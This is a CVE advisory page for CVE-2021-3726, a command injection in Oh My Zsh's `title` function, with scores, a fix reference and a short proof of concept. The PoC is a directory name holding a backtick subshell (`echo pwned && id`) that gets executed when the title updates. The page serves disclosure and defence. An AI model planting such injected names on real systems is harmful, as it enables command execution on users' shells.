Skip to content
CVE Ledger
  • Newest CVEsPage
  • Recently added to KEVPage
  • Rising exploitation (EPSS)Page
  • Weekly digestPage
  • StatisticsPage
  • WatchlistPage
  • API docsPage
  • MCP serverPage
  • AboutPage
  • Data sourcesPage
  • Data statusPage
  • ChangelogPage
  • How it's builtPage
  • Support the projectPage

14 results

Back

CVE-2021-3726OS Command Injection in ohmyzsh/ohmyzsh

Description

# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function.

Timeline

  1. ID reserved

    By @huntrdev

  2. · 3 months later

    Published

  3. · 3 years later

    Record updated

Changes after publication (a new score, a public exploit, EPSS crossing 1, 10 or 50 %, leaving KEV) are kept since November 2026; earlier ones are not known.

Scores

CVSS scores of CVE-2021-3726, by who scored it
Scored byCVSSScoreVector
@huntrdevCNA (assigner)3.1High7.5CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
NVDNVD · Modified3.1Critical9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS (exploitation in 30 days)
0.81% · top 43% of all CVEs (12 Nov 2026)
Loading the EPSS history…

The list uses the assigner's score when there is one, then CISA's, then NVD's: High 7.5.

Affected products

What to do

Exploitation: **Exploit PoC**: 1. Install Oh My Zsh. 2. Add a custom function that calls `title` to set the terminal title with a user-supplied string. For example: ```sh function dirpath_in_title { title "$PWD" } add-zsh-hook precmd dirpath_in_title ``` 3. Create and cd into a directory with a subshell command as its name: ```sh baddir='`echo pwned && id`' mkdir "$baddir" && cd "$baddir" ``` 4. The `title` function incorrectly expands the subshell command (see screenshot): ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)

References

References1

Sources

The same CVE in the primary databases and aggregators, to check against.

Badge for a README or a ticket

CVE-2021-3726 badge
[![CVE-2021-3726](https://cveledger.app/badge/CVE-2021-3726.svg)](https://cveledger.app/cve/CVE-2021-3726)

Record last updated .